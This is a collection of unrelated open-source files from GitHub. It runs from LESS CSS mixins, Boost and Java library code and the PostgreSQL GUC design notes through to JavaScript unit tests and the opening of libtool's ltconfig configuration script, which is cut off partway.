background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);
background-repeat: no-repeat;
filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback
}
.radial(@inner-color: #555; @outer-color: #333) {
background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);
background-image: radial-gradient(circle, @inner-color, @outer-color);
background-repeat: no-repeat;
}
.striped(@color: rgba(255,255,255,.15); @angle: 45deg) {
background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);
}
}
| {
"pile_set_name": "Github"
} |
// Create a "shared" function that takes two array iterators
// and returns the numbers common in both arrays.
/*
const i1 = function* () {
yield* [0, 2, 3, 4, 9, 10];
};
const i2 = function* () {
yield* [1, 2, 9, 10, 14];
};
// @param {Iterator} iter1
// @param {Iterator} iter2
//
// @returns {Array} An array of number shared by both arrays
function shared(iter1, iter2) {}
shared(i1(), i2()); // [2, 9, 10]
*/
| {
"pile_set_name": "Github"
} |
// (C) Copyright John Maddock 2007.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// This file is machine generated, do not edit by hand
// Polynomial evaluation using second order Horners rule
#ifndef BOOST_MATH_TOOLS_RAT_EVAL_5_HPP
#define BOOST_MATH_TOOLS_RAT_EVAL_5_HPP
namespace boost{ namespace math{ namespace tools{ namespace detail{
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T*, const U*, const V&, const mpl::int_<0>*) BOOST_MATH_NOEXCEPT(V)
{
return static_cast<V>(0);
}
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T* a, const U* b, const V&, const mpl::int_<1>*) BOOST_MATH_NOEXCEPT(V)
{
return static_cast<V>(a[0]) / static_cast<V>(b[0]);
}
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T* a, const U* b, const V& x, const mpl::int_<2>*) BOOST_MATH_NOEXCEPT(V)
{
return static_cast<V>((a[1] * x + a[0]) / (b[1] * x + b[0]));
}
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T* a, const U* b, const V& x, const mpl::int_<3>*) BOOST_MATH_NOEXCEPT(V)
{
return static_cast<V>(((a[2] * x + a[1]) * x + a[0]) / ((b[2] * x + b[1]) * x + b[0]));
}
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T* a, const U* b, const V& x, const mpl::int_<4>*) BOOST_MATH_NOEXCEPT(V)
{
return static_cast<V>((((a[3] * x + a[2]) * x + a[1]) * x + a[0]) / (((b[3] * x + b[2]) * x + b[1]) * x + b[0]));
}
template <class T, class U, class V>
inline V evaluate_rational_c_imp(const T* a, const U* b, const V& x, const mpl::int_<5>*) BOOST_MATH_NOEXCEPT(V)
{
if(x <= 1)
{
V x2 = x * x;
V t[4];
t[0] = a[4] * x2 + a[2];
t[1] = a[3] * x2 + a[1];
t[2] = b[4] * x2 + b[2];
t[3] = b[3] * x2 + b[1];
t[0] *= x2;
t[2] *= x2;
t[0] += static_cast<V>(a[0]);
t[2] += static_cast<V>(b[0]);
t[1] *= x;
t[3] *= x;
return (t[0] + t[1]) / (t[2] + t[3]);
}
else
{
V z = 1 / x;
V z2 = 1 / (x * x);
V t[4];
t[0] = a[0] * z2 + a[2];
t[1] = a[1] * z2 + a[3];
t[2] = b[0] * z2 + b[2];
t[3] = b[1] * z2 + b[3];
t[0] *= z2;
t[2] *= z2;
t[0] += static_cast<V>(a[4]);
t[2] += static_cast<V>(b[4]);
t[1] *= z;
t[3] *= z;
return (t[0] + t[1]) / (t[2] + t[3]);
}
}
}}}} // namespaces
#endif // include guard
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018-2020 "Graph Foundation"
* Graph Foundation, Inc. [https://graphfoundation.org]
*
* Copyright (c) 2002-2020 "Neo4j,"
* Neo4j Sweden AB [http://neo4j.com]
*
* This file is part of ONgDB.
*
* ONgDB is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.neo4j.tooling.procedure.procedures.invalid.bad_proc_input_type;
import org.neo4j.graphdb.Node;
import org.neo4j.graphdb.Path;
import org.neo4j.graphdb.Relationship;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.UserFunction;
public class BadPrimitiveInputUserFunction
{
@UserFunction
public String doSomething( @Name( "test" ) short unsupportedType )
{
return "42";
}
@UserFunction
public String works01( @Name( "test" ) String supported )
{
return "42";
}
@UserFunction
public String works02( @Name( "test" ) Long supported )
{
return "42";
}
@UserFunction
public String works03( @Name( "test" ) long supported )
{
return "42";
}
@UserFunction
public String works04( @Name( "test" ) Double supported )
{
return "42";
}
@UserFunction
public String works05( @Name( "test" ) double supported )
{
return "42";
}
@UserFunction
public String works06( @Name( "test" ) Number supported )
{
return "42";
}
@UserFunction
public String works07( @Name( "test" ) Boolean supported )
{
return "42";
}
@UserFunction
public String works08( @Name( "test" ) boolean supported )
{
return "42";
}
@UserFunction
public String works09( @Name( "test" ) Object supported )
{
return "42";
}
@UserFunction
public String works10( @Name( "test" ) Node supported )
{
return "42";
}
@UserFunction
public String works11( @Name( "test" ) Relationship supported )
{
return "42";
}
@UserFunction
public String works12( @Name( "test" ) Path supported )
{
return "42";
}
}
| {
"pile_set_name": "Github"
} |
$PostgreSQL: pgsql/src/backend/utils/misc/README,v 1.10 2008/03/20 17:55:15 momjian Exp $
Guc Implementation Notes
========================
The GUC (Grand Unified Configuration) module implements configuration
variables of multiple types (currently boolean, enum, int, float, and string).
Variable settings can come from various places, with a priority ordering
determining which setting is used.
Per-Variable Hooks
------------------
Each variable known to GUC can optionally have an assign_hook and/or
a show_hook to provide customized behavior. Assign hooks are used to
perform validity checking on variable values (above and beyond what
GUC can do). They are also used to update any derived state that needs
to change when a GUC variable is set. Show hooks are used to modify
the default SHOW display for a variable.
If an assign_hook is provided, it points to a function of the signature
bool assign_hook(newvalue, bool doit, GucSource source)
where the type of "newvalue" matches the kind of variable. This function
is called immediately before actually setting the variable's value (so it
can look at the actual variable to determine the old value). If the
function returns "true" then the assignment is completed; if it returns
"false" then newvalue is considered invalid and the assignment is not
performed. If "doit" is false then the function should simply check
validity of newvalue and not change any derived state. The "source" parameter
indicates where the new value came from. If it is >= PGC_S_INTERACTIVE,
then we are performing an interactive assignment (e.g., a SET command), and
ereport(ERROR) is safe to do. But when source < PGC_S_INTERACTIVE, we are
reading a non-interactive option source, such as postgresql.conf. In this
case the assign_hook should *not* ereport but should just return false if it
doesn't like the newvalue.
If an assign_hook returns false then guc.c will report a generic "invalid
value for option FOO" error message. If you feel the need to provide a more
specific error message, ereport() it using "GUC_complaint_elevel(source)"
as the error level. Note that this might return either ERROR or a lower level
such as LOG, so the ereport call might or might not return. If it does
return, return false out of the assign_hook.
For string variables, the signature for assign hooks is a bit different:
const char *assign_hook(const char *newvalue,
bool doit,
GucSource source)
The meanings of the parameters are the same as for the other types of GUC
variables, but the return value is handled differently:
NULL --- assignment fails (like returning false for other datatypes)
newvalue --- assignment succeeds, assign the newvalue as-is
malloc'd (not palloc'd!!!) string --- assign that value instead
The third choice is allowed in case the assign_hook wants to return a
"canonical" version of the new value. For example, the assign_hook for
datestyle always returns a string that includes both output and input
datestyle options, although the input might have specified only one.
Note that a string variable's assign_hook will NEVER be called with a NULL
value for newvalue, since there would be no way to distinguish success
and failure returns. If the boot_val or reset_val for a string variable
is NULL, it will just be assigned without calling the assign_hook.
Therefore, a NULL boot_val should never be used in combination with an
assign_hook that has side-effects, as the side-effects wouldn't happen
during a RESET that re-institutes the boot-time setting.
If a show_hook is provided, it points to a function of the signature
const char *show_hook(void)
This hook allows variable-specific computation of the value displayed
by SHOW.
Saving/Restoring Guc Variable Values
------------------------------------
Prior values of configuration variables must be remembered in order to deal
with several special cases: RESET (a/k/a SET TO DEFAULT), rollback of SET
on transaction abort, rollback of SET LOCAL at transaction end (either
commit or abort), and save/restore around a function that has a SET option.
RESET is defined as selecting the value that would be effective had there
never been any SET commands in the current session.
To handle these cases we must keep track of many distinct values for each
variable. The primary values are:
* actual variable contents always the current effective value
* reset_val the value to use for RESET
(Each GUC entry also has a boot_val which is the wired-in default value.
This is assigned to the reset_val and the actual variable during
InitializeGUCOptions(). The boot_val is also consulted to restore the
correct reset_val if SIGHUP processing discovers that a variable formerly
specified in postgresql.conf is no longer set there.)
In addition to the primary values, there is a stack of former effective
values that might need to be restored in future. Stacking and unstacking
is controlled by the GUC "nest level", which is zero when outside any
transaction, one at top transaction level, and incremented for each
open subtransaction or function call with a SET option. A stack entry
is made whenever a GUC variable is first modified at a given nesting level.
(Note: the reset_val need not be stacked because it is only changed by
non-transactional operations.)
A stack entry has a state, a prior value of the GUC variable, a remembered
source of that prior value, and depending on the state may also have a
"masked" value. The masked value is needed when SET followed by SET LOCAL
occur at the same nest level: the SET's value is masked but must be
remembered to restore after transaction commit.
During initialization we set the actual value and reset_val based on
whichever non-interactive source has the highest priority. They will
have the same value.
The possible transactional operations on a GUC value are:
Entry to a function with a SET option:
Push a stack entry with the prior variable value and state SAVE,
then set the variable.
Plain SET command:
If no stack entry of current level:
Push new stack entry w/prior value and state SET
else if stack entry's state is SAVE, SET, or LOCAL:
change stack state to SET, don't change saved value
(here we are forgetting effects of prior set action)
else (entry must have state SET+LOCAL):
discard its masked value, change state to SET
(here we are forgetting effects of prior SET and SET LOCAL)
Now set new value.
SET LOCAL command:
If no stack entry of current level:
Push new stack entry w/prior value and state LOCAL
else if stack entry's state is SAVE or LOCAL or SET+LOCAL:
no change to stack entry
(in SAVE case, SET LOCAL will be forgotten at func exit)
else (entry must have state SET):
put current active into its masked slot, set state SET+LOCAL
Now set new value.
Transaction or subtransaction abort:
Pop stack entries, restoring prior value, until top < subxact depth
Transaction or subtransaction commit (incl. successful function exit):
While stack entry level >= subxact depth
if entry's state is SAVE:
pop, restoring prior value
else if level is 1 and entry's state is SET+LOCAL:
pop, restoring *masked* value
else if level is 1 and entry's state is SET:
pop, discarding old value
else if level is 1 and entry's state is LOCAL:
pop, restoring prior value
else if there is no entry of exactly level N-1:
decrement entry's level, no other state change
else
merge entries of level N-1 and N as specified below
The merged entry will have level N-1 and prior = older prior, so easiest
to keep older entry and free newer. There are 12 possibilities since
we already handled level N state = SAVE:
N-1 N
SAVE SET discard top prior, set state SET
SAVE LOCAL discard top prior, no change to stack entry
SAVE SET+LOCAL discard top prior, copy masked, state S+L
SET SET discard top prior, no change to stack entry
SET LOCAL copy top prior to masked, state S+L
SET SET+LOCAL discard top prior, copy masked, state S+L
LOCAL SET discard top prior, set state SET
LOCAL LOCAL discard top prior, no change to stack entry
LOCAL SET+LOCAL discard top prior, copy masked, state S+L
SET+LOCAL SET discard top prior and second masked, state SET
SET+LOCAL LOCAL discard top prior, no change to stack entry
SET+LOCAL SET+LOCAL discard top prior, copy masked, state S+L
RESET is executed like a SET, but using the reset_val as the desired new
value. (We do not provide a RESET LOCAL command, but SET LOCAL TO DEFAULT
has the same behavior that RESET LOCAL would.) The source associated with
the reset_val also becomes associated with the actual value.
If SIGHUP is received, the GUC code rereads the postgresql.conf
configuration file (this does not happen in the signal handler, but at
next return to main loop; note that it can be executed while within a
transaction). New values from postgresql.conf are assigned to actual
variable, reset_val, and stacked actual values, but only if each of
these has a current source priority <= PGC_S_FILE. (It is thus possible
for reset_val to track the config-file setting even if there is
currently a different interactive value of the actual variable.)
The assign_hook and show_hook routines work only with the actual variable,
and are not directly aware of the additional values maintained by GUC.
This is not a problem for normal usage, since we can assign first to the
actual variable and then (if that succeeds) to the additional values as
needed. However, for SIGHUP rereads we may not want to assign to the
actual variable. Our procedure in that case is to call the assign_hook
with doit = false so that the value is validated, but no derived state is
changed.
String Memory Handling
----------------------
String option values are allocated with strdup, not with the
pstrdup/palloc mechanisms. We would need to keep them in a permanent
context anyway, and strdup gives us more control over handling
out-of-memory failures.
We allow a string variable's actual value, reset_val, boot_val, and stacked
values to point at the same storage. This makes it slightly harder to free
space (we must test whether a value to be freed isn't equal to any of the
other pointers in the GUC entry or associated stack items). The main
advantage is that we never need to strdup during transaction commit/abort,
so cannot cause an out-of-memory failure there.
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
#if !(ANDROID || IOS) && !NETFX_CORE
using System.Security.Permissions;
#endif
using System.Text;
using System.Threading.Tasks;
namespace Csla.Security
{
/// <summary>
/// Security exception.
/// </summary>
[Serializable]
public class SecurityException : Exception
{
/// <summary>
/// Creates an instance of the type.
/// </summary>
public SecurityException()
{ }
/// <summary>
/// Creates an instance of the type.
/// </summary>
/// <param name="message">Exception text.</param>
public SecurityException(string message)
: base(message)
{ }
/// <summary>
/// Creates an instance of the type.
/// </summary>
/// <param name="message">Exception text.</param>
/// <param name="innerException">Inner exception.</param>
public SecurityException(string message, Exception innerException)
: base(message, innerException)
{ }
#if !(ANDROID || IOS) && !NETFX_CORE
/// <summary>
/// Creates an instance of the object for serialization.
/// </summary>
/// <param name="info">Serialiation info object.</param>
/// <param name="context">Serialization context object.</param>
protected SecurityException(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)
: base(info, context)
{
}
/// <summary>
/// Serializes the object.
/// </summary>
/// <param name="info">Serialiation info object.</param>
/// <param name="context">Serialization context object.</param>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1062:ValidateArgumentsOfPublicMethods")]
[SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]
[SecurityPermission(SecurityAction.Demand, Flags = SecurityPermissionFlag.SerializationFormatter)]
public override void GetObjectData(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context)
{
base.GetObjectData(info, context);
}
#endif
}
}
| {
"pile_set_name": "Github"
} |
PREFIX : <http://example/>
SELECT *
{ SELECT * { ?x ?y ?z } }
| {
"pile_set_name": "Github"
} |
var test = require('tape')
var bootstrap = require('../../bootstrap')
var mm = require('../../helper/mock')
mm.proxyFunction(require('@yoda/manifest'), 'get', {
after: (ret, self, args) => {
if (args[0] === 'capabilities.main-visibility') {
return 'voice'
}
return ret
}
})
test('should get key and visible app id', t => {
var tt = bootstrap()
var audioFocus = tt.component.audioFocus
var audioFocusDescriptor = tt.descriptor.audioFocus
var visibility = tt.component.visibility
mm.mockReturns(audioFocusDescriptor, 'emitToApp', function (appId, event, args) {})
audioFocus.request({
id: 1,
appId: 'test',
gain: 0b000 /** default */
})
t.strictEqual(visibility.getKeyAndVisibleAppId(), 'test')
t.end()
})
test('should get all visible app ids', t => {
var tt = bootstrap()
var audioFocus = tt.component.audioFocus
var audioFocusDescriptor = tt.descriptor.audioFocus
var visibility = tt.component.visibility
mm.mockReturns(audioFocusDescriptor, 'emitToApp', function (appId, event, args) {})
audioFocus.request({
id: 1,
appId: 'test',
gain: 0b000 /** default */
})
t.deepEqual(visibility.getVisibleAppIds(), [ 'test' ])
t.end()
})
test('should abandon key visibility', t => {
var tt = bootstrap()
var audioFocus = tt.component.audioFocus
var audioFocusDescriptor = tt.descriptor.audioFocus
var visibility = tt.component.visibility
mm.mockReturns(audioFocusDescriptor, 'emitToApp', function (appId, event, args) {})
audioFocus.request({
id: 1,
appId: 'test',
gain: 0b000 /** default */
})
audioFocus.request({
id: 1,
appId: 'test-2',
gain: 0b001 /** transient */
})
t.strictEqual(visibility.getKeyAndVisibleAppId(), 'test-2')
visibility.abandonKeyVisibility()
t.strictEqual(visibility.getKeyAndVisibleAppId(), 'test')
visibility.abandonKeyVisibility()
t.strictEqual(visibility.getKeyAndVisibleAppId(), undefined)
t.end()
})
test('should abandon all visibilities', t => {
var tt = bootstrap()
var audioFocus = tt.component.audioFocus
var audioFocusDescriptor = tt.descriptor.audioFocus
var visibility = tt.component.visibility
mm.mockReturns(audioFocusDescriptor, 'emitToApp', function (appId, event, args) {})
audioFocus.request({
id: 1,
appId: 'test',
gain: 0b000 /** default */
})
audioFocus.request({
id: 1,
appId: 'test-2',
gain: 0b001 /** transient */
})
t.strictEqual(visibility.getKeyAndVisibleAppId(), 'test-2')
visibility.abandonAllVisibilities()
t.strictEqual(visibility.getKeyAndVisibleAppId(), undefined)
t.end()
})
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.isis.core.metamodel.facets.object.domainobjectlayout;
import java.util.Objects;
import java.util.Optional;
import org.apache.isis.applib.annotation.DomainObjectLayout;
import org.apache.isis.core.metamodel.facetapi.FacetHolder;
import org.apache.isis.core.metamodel.facets.object.plural.PluralFacet;
import org.apache.isis.core.metamodel.facets.object.plural.PluralFacetAbstract;
public class PluralFacetForDomainObjectLayoutAnnotation extends PluralFacetAbstract {
public static PluralFacet create(
final Optional<DomainObjectLayout> domainObjectLayoutIfAny,
final FacetHolder holder) {
return domainObjectLayoutIfAny
.map(DomainObjectLayout::plural)
.filter(Objects::nonNull)
.map(plural -> new PluralFacetForDomainObjectLayoutAnnotation(plural, holder))
.orElse(null);
}
private PluralFacetForDomainObjectLayoutAnnotation(final String value, final FacetHolder holder) {
super(value, holder);
}
}
| {
"pile_set_name": "Github"
} |
#! /bin/sh
# ltconfig - Create a system-specific libtool.
# Copyright (C) 1996-1998 Free Software Foundation, Inc.
# Gordon Matzigkeit <[email protected]>, 1996
#
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
#
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# A lot of this script is taken from autoconf-2.10.
# The HP-UX ksh and POSIX shell print the target directory to stdout
# if CDPATH is set.
if test "${CDPATH+set}" = set; then CDPATH=; export CDPATH; fi
echo=echo
if test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then :
else
# The Solaris and AIX default echo program unquotes backslashes.
# This makes it impossible to quote backslashes using
# echo "$something" | sed 's/\\/\\\\/g'
# So, we emulate echo with printf '%s\n'
echo="printf %s\\n"
if test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then :
else
# Oops. We have no working printf. Try to find a not-so-buggy echo.
echo=echo
IFS="${IFS= }"; save_ifs="$IFS"; IFS="${IFS}:"
for dir in $PATH /usr/ucb; do
if test -f $dir/echo && test "X`$dir/echo '\t'`" = 'X\t'; then
echo="$dir/echo"
break
fi
done
IFS="$save_ifs"
fi
fi
# Sed substitution that helps us do robust quoting. It backslashifies
# metacharacters that are still active within double-quoted strings.
Xsed='sed -e s/^X//'
sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'
# Same as above, but do not quote variable references.
double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'
# The name of this program.
progname=`$echo "X$0" | $Xsed -e 's%^.*/%%'`
# Constants:
PROGRAM=ltconfig
PACKAGE=libtool
VERSION=1.2
ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.c 1>&5'
ac_link='${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS 1>&5'
rm="rm -f"
help="Try \`$progname --help' for more information."
# Global variables:
can_build_shared=yes
enable_shared=yes
# All known linkers require a `.a' archive for static linking.
enable_static=yes
ltmain=
silent=
srcdir=
ac_config_guess=
ac_config_sub=
host=
nonopt=
verify_host=yes
with_gcc=no
with_gnu_ld=no
old_AR="$AR"
old_CC="$CC"
old_CFLAGS="$CFLAGS"
old_CPPFLAGS="$CPPFLAGS"
old_LD="$LD"
old_LN_S="$LN_S"
old_NM="$NM"
old_RANLIB="$RANLIB"
# Parse the command line options.
args=
prev=
for option
do
case "$option" in
-*=*) optarg=`echo "$option" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
*) optarg= ;;
esac
# If the previous option needs an argument, assign it.
if test -n "$prev"; then
eval "$prev=\$option"
prev=
continue
fi
case "$option" in
--help) cat <<EOM
Usage: $progname [OPTION]... LTMAIN [HOST]
Generate a system-specific libtool script.
--disable-shared do not build shared libraries
--disable-static do not build static libraries
--help display this help and exit
--no-verify do not verify that HOST is a valid host type
--quiet same as \`--silent'
--silent do not print informational messages
--srcdir=DIR find \`config.guess' in DIR
--version output version information and exit
--with-gcc assume that the GNU C compiler will be used
--with-gnu-ld assume that the C compiler uses the GNU linker
LTMAIN is the \`ltmain.sh' shell script fragment that provides basic libtool
functionality.
HOST is the canonical host system name [default=guessed].
EOM
exit 0
;;
--disable-shared) enable_shared=no ;;
--disable-static) enable_static=no ;;
--quiet | --silent) silent=yes ;;
--srcdir) prev=srcdir ;;
--srcdir=*) srcdir="$optarg" ;;
--no-verify) verify_host=no ;;
--version) echo "$PROGRAM (GNU $PACKAGE) $VERSION"; exit 0 ;;
--with-gcc) with_gcc=yes ;;
--with-gnu-ld) with_gnu_ld=yes ;;
-*)
echo "$progname: unrecognized option \`$option'" 1>&2
echo "$help" 1>&2
exit 1
;;
*)
if test -z "$ltmain"; then
ltmain="$option"
elif test -z "$host"; then
# This generates an unnecessary warning for sparc-sun-solaris4.1.3_U1
# if test -n "`echo $option| sed 's/[-a-z0-9.]//g'`"; then
# echo "$progname: warning \`$option' is not a valid host type" 1>&2
# fi
host="$option"
else
echo "$progname: too many arguments" 1>&2
echo "$help" 1>&2
exit 1
fi ;;
esac
done
if test -z "$ltmain"; then
echo "$progname: you must specify a LTMAIN file" 1>&2
echo "$help" 1>&2
exit 1
fi
if test -f "$ltmain"; then :
else
echo "$progname: \`$ltmain' does not exist" 1>&2
echo "$help" 1>&2
exit 1
fi
# Quote any args containing shell metacharacters.
ltconfig_args=
for arg
do
case "$arg" in
*" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*)
ltconfig_args="$ltconfig_args '$arg'" ;;
*) ltconfig_args="$ltconfig_args $arg" ;;
esac
done
# A relevant subset of AC_INIT.
# File descriptor usage:
# 0 standard input
# 1 file creation
# 2 errors and warnings
# 3 some systems may open it to /dev/tty
# 4 used on the Kubota Titan
# 5 compiler messages saved in config.log
# 6 checking for... messages and results
if test "$silent" = yes; then
exec 6>/dev/null
else
exec 6>&1
fi
exec 5>>./config.log
# NLS nuisances.
# Only set LANG and LC_ALL to C if already set.
# These must not be set unconditionally because not all systems understand
# e.g. LANG=C (notably SCO).
if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi
if test "${LANG+set}" = set; then LANG=C; export LANG; fi
if (echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then
# Stardent Vistra SVR4 grep lacks -e, says [email protected].
if (echo -n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then
ac_n= ac_c='
' ac_t=' '
else
ac_n=-n ac_c= ac_t=
fi
else
ac_n= ac_c='\c' ac_t=
fi
if test -z "$srcdir"; then
# Assume the source directory is the same one as the path to ltmain.sh.
srcdir=`$echo "$ltmain" | $Xsed -e 's%/[^/]*$%%'`
test "$srcdir" = "$ltmain" && srcdir=.
fi
trap "$rm conftest*; exit 1" 1 2 15
if test "$verify_host" = yes; then
# Check for config.guess and config.sub.
ac_aux_dir=
for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do
if test -f $ac_dir/config.guess; then
ac_aux_dir=$ac_dir
break
fi
done
if test -z "$ac_aux_dir"; then
echo "$progname: cannot find config.guess in $srcdir $srcdir/.. $srcdir/../.." 1>&2
echo "$help" 1>&2
exit 1
fi
ac_config_guess=$ac_aux_dir/config.guess
ac_config_sub=$ac_aux_dir/config.sub
# Make sure we can run config.sub.
if $ac_config_sub sun4 >/dev/null 2>&1; then :
else
echo "$progname: cannot run $ac_config_sub" 1>&2
echo "$help" 1>&2
exit 1
fi
echo $ac_n "checking host system type""... $ac_c" 1>&6
host_alias=$host
case "$host_alias" in
"")
if host_alias=`$ac_config_guess`; then :
else
echo "$progname: cannot guess host type; you must specify one" 1>&2
echo "$help" 1>&2
exit 1
fi ;;
esac
host=`$ac_config_sub $host_alias`
echo "$ac_t$host" 1>&6
# Make sure the host verified.
test -z "$host" && exit 1
elif test -z "$host"; then
echo "$progname: you must specify a host type if you use \`--no-verify'" 1>&2
echo "$help" 1>&2
exit 1
else
host_alias=$host
fi
# Transform linux* to *-*-linux-gnu*, to support old configure scripts.
case "$host_os" in
linux-gnu*) ;;
linux*) host=`echo $host | sed 's/^\(.*-.*-linux\)\(.*\)$/\1-gnu\2/'`
esac
host_cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
host_vendor=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
host_os=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
case "$host_os" in
aix3*)
# AIX sometimes has problems with the GCC collect2 program. For some
# reason, if we set the COLLECT_NAMES environment variable, the problems
# vanish in a puff of smoke.
if test "${COLLECT_NAMES+set}" != set; then
COLLECT_NAMES=
export COLLECT_NAMES
fi
;;
esac
# Determine commands to create old-style static archives.
old_archive_cmds='$AR cru $oldlib$oldobjs'
old_postinstall_cmds='chmod 644 $oldlib'
old_postuninstall_cmds=
# Set a sane default for `AR'.
test -z "$AR" && AR=ar
# If RANLIB is not set, then run the test.
if test "${RANLIB+set}" != "set"; then
result=no
echo $ac_n "checking for ranlib... $ac_c" 1>&6
IFS="${IFS= }"; save_ifs="$IFS"; IFS="${IFS}:"
for dir in $PATH; do
test -z "$dir" && dir=.
if test -f $dir/ranlib; then
RANLIB="ranlib"
result="ranlib"
break
fi
done
IFS="$save_ifs"
echo "$ac_t$result" 1>&6
fi
if test -n "$RANLIB"; then
old_archive_cmds="$old_archive_cmds;\$RANLIB \$oldlib"
old_postinstall_cmds="\$RANLIB \$oldlib;$old_postinstall_cmds"
fi
# Check to see if we are using GCC.
if test "$with_gcc" != yes || test -z "$CC"; then
# If CC is not set, then try to find GCC or a usable CC.
if test -z "$CC"; then
echo $ac_n "checking for gcc... $ac_c" 1>&6
IFS="${IFS= }"; save_ifs="$IFS"; IFS="${IFS}:"
for dir in $PATH; do
IFS="$save_ifs"
test -z "$dir" && dir=.
if test -f $dir/gcc; then
CC="gcc"
break
fi
done
IFS="$save_ifs"
if test -n "$CC"; then
echo "$ac_t$CC" 1>&6
else
echo "$ac_t"no 1>&6
fi
fi
# Not "gcc", so try "cc", rejecting "/usr/ucb/cc".
if test -z "$CC"; then
echo $ac_n "checking for cc... $ac_c" 1>&6
IFS="${IFS= }"; save_ifs="$IFS"; IFS="${IFS}:"
cc_rejected=no
for dir in $PATH; do
test -z "$dir" && dir=.
if test -f $dir/cc; then
if test "$dir/cc" = "/usr/ucb/cc"; then
cc_rejected=yes
continue
fi
CC="cc"
break
fi
done
IFS="$save_ifs"
if test $cc_rejected = yes; then
# We found a bogon in the path, so make sure we never use it.
set dummy $CC
shift
if test $# -gt 0; then
# We chose a different compiler from the bogus one.
# However, it has the same name, so the bogon will be chosen
# first if we set CC to just the name; use the full file name.
shift
set dummy "$dir/cc" "$@"
shift
CC="$@"
fi
fi
if test -n "$CC"; then
echo "$ac_t$CC" 1>&6
else
echo "$ac_t"no 1>&6
fi
if test -z "$CC"; then
echo "$progname: error: no acceptable cc found in \$PATH" 1>&2
exit 1
fi
fi
# Now see if the compiler is really GCC.
with_gcc=no
echo $ac_n "checking whether we are using GNU C... $ac_c" 1>&6
echo "$progname:424: checking whether we are using GNU C" >&5
$rm conftest.c
cat > conftest.c <<EOF
#ifdef __GNUC__
yes;
#endif
EOF
if { ac_try='${CC-cc} -E conftest.c'; { (eval echo $progname:432: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then
with_gcc=yes
fi
$rm conftest.c
echo "$ac_t$with_gcc" 1>&6
fi
# Allow CC to be a program name with arguments.
set dummy $CC
compiler="$2"
echo $ac_n "checking for $compiler option to produce PIC... $ac_c" 1>&6
pic_flag=
special_shlib_compile_flags=
wl=
link_static_flag=
no_builtin_flag=
if test "$with_gcc" = yes; then
wl='-Wl,'
link_static_flag='-static'
no_builtin_flag=' -fno-builtin'
case "$host_os" in
